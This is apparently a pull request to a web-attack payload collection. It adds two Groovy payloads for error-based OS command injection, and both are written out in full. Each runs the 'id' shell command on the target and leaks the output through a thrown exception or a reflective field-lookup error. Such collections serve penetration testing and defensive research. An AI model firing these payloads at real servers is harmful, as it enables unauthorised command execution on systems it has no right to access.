Add Groovy Error-based OS Command Injection Payloads

[win3zz]

Added Groovy Error-based OS Command Injection Payloads

Description:

This pull request adds two new Groovy-based payloads for error-based OS command injection.

Changes:

• Added throw new Exception('id'.execute().text) to the "Groovy - Command Execution" section.
• Added def result = "id".execute().text\njava.lang.reflect.Field field = Thread.currentThread().getClass().getDeclaredField("win3zz"+result); to the "Groovy - Command Execution" section.

Reference:

• https://twitter.com/win3zz/status/1799688310128029701

[win3zz]

Additional reference: https://gist.github.com/win3zz/353848f22126b212e85e3a2ba8a40263